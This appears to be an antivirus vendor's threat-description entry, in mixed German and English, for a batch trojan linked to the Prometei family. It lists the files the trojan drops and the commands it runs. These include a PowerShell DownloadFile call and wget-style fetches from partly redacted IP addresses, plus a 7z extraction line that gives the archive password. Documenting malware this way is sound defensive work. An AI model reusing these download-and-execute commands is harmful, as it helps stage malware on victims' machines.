Trojan.BAT.POWLOAD.TIAOELM

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Diese Malware hat keine Verbreitungsroutine.

Diese Malware hat keine Backdoor-Routine.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

• %Windows%\dell\sqhost_chk.exe → deleted afterwards
• %Windows%\dell\update.7z
• %Windows%\dell\7z.exe
• %Windows%\dell\7z.dll
• %Windows%\dell\netwalker_new → detected as Trojan.Linux.PROMETEI.B
• %Windows%\dell\updates1_new.7z
• %Windows%\dell\updates2_new.7z
• %Windows%\dell\install.cmd
• %Windows%\dell\uplugplay_new → detected as Trojan.Linux.PROMETEI.B
• %Windows%\dell\sqhost_new.exe → detected as TROJ_GEN.R06CC0DB823
• %Windows%\dell\rdpcIip_new.exe → detected as Trojan.Win32.PROMETEI.F

Fügt die folgenden Prozesse hinzu:

• %Windows%\sqhost.exe  -sha1chk BD54EBB8EED3D0731D014553D8760D805555E987 %Windows%\dell\sqhost_chk.exe;
• powershell.exe (New-Object Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.128.244/update.7z','%Windows%\dell\update.7z')
• %Windows%\sqhost.exe  -sha1chk A1BBD718B7CAA0F7A999A9B9D65B7C3208B1707E %Windows%\dell\update.7z
• %Windows%\sqhost -chkxwget http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.exe 7z.exe AC9674FEB8F2FAD20C1E046DE67F899419276AE79A60E8CC021A4BF472AE044F
• %Windows%\sqhost -chkxwget http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.dll 7z.dll A1E1D1F0FFF4FCCCFBDFA313F3BDFEA4D3DFE2C2D9174A615BBC39A0A6929338
• %Windows%\dell\7z x %Windows%\dell\update.7z -phorhor123 -o%Windows%\dell -y
• install.cmd

Verbreitung

Diese Malware hat keine Verbreitungsroutine.

Backdoor-Routine

Diese Malware hat keine Backdoor-Routine.

Andere Details

Es macht Folgendes:

• It requires the existence of the following to proceed with its routine:
  • %Windows%\sqhost.exe → used to download and check the integrity/version of component files
  • %Windows%\dell → directory used to store component files
• It uses the downloaded 7z.exe to extract the component files from the downloaded password-protected zipped file.

(Hinweis: %Windows% ist der Windows Ordner, normalerweise C:\Windows oder C:\WINNT.)